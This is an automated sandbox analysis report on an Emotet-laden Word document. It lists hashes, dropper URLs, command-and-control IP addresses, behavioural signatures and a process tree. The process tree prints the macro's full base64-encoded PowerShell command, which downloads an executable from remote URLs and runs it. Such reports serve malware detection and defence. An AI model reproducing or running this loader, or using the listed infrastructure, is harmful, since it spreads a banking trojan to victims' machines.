Analysis
-
max time kernel
57s -
max time network
148s -
platform
windows7_x64 -
resource
win7 -
submitted
31-07-2020 19:34
General
-
Target
Inv W79555.doc
-
Size
169KB
-
MD5
606e7c237aff3accaec78fa7918ed6ca
-
SHA1
f7f1eb8438f3db9aa23af0e0ba566a75c0b241f2
-
SHA256
958410d0bb67c7d367734d2485d41525305b9b547c7382bbc8a615da1c93cf30
-
SHA512
3beac2f2e13ef39e2eac060913f2b767fc7391839869876f4be7c7cbad5fd7bc0f88ccfefe5fa2d5b5c916598453a81a3103615784654c7d334cb6f53198c569
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://moshauer.de/B9kxs4x8n6272826/
exe.dropper
http://geted.de/wwvv2/sTZFOgzh/
exe.dropper
http://suhailacademy.com/wp-admin/oSHA/
exe.dropper
http://smashingcake.com/blog/HNpury/
exe.dropper
https://taolodge.com/pz/YbU2chs1980/
Extracted
Family
emotet
C2
187.64.128.197:80
198.57.203.63:8080
163.172.107.70:8080
212.112.113.235:80
157.7.164.178:8081
181.167.35.84:80
212.156.133.218:80
185.142.236.163:443
181.143.101.19:8080
75.127.14.170:8080
115.165.3.213:80
190.55.233.156:80
139.59.12.63:8080
144.139.91.187:80
37.70.131.107:80
181.113.229.139:443
41.185.29.128:8080
177.37.81.212:443
5.79.70.250:8080
78.188.170.128:80
rsa_pubkey.plain
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Drops file in System32 directory 2 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Modifies registry class 280 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv W79555.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies system certificate store
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
-
C:\Users\Admin\432.exeC:\Users\Admin\432.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
-
C:\Windows\SysWOW64\Dism\bitsadmin.exe"C:\Windows\SysWOW64\Dism\bitsadmin.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\432.exe
-
C:\Users\Admin\432.exe
-
C:\Windows\SysWOW64\Dism\bitsadmin.exe
-
memory/240-2-0x0000000008910000-0x0000000008914000-memory.dmpFilesize
16KB
-
memory/240-5-0x000000000A9D0000-0x000000000A9D4000-memory.dmpFilesize
16KB
-
memory/240-6-0x000000000BA50000-0x000000000BA54000-memory.dmpFilesize
16KB
-
memory/1748-11-0x0000000000000000-mapping.dmp
-
memory/1748-13-0x0000000000280000-0x000000000028C000-memory.dmpFilesize
48KB
-
memory/1932-9-0x0000000000230000-0x000000000023C000-memory.dmpFilesize
48KB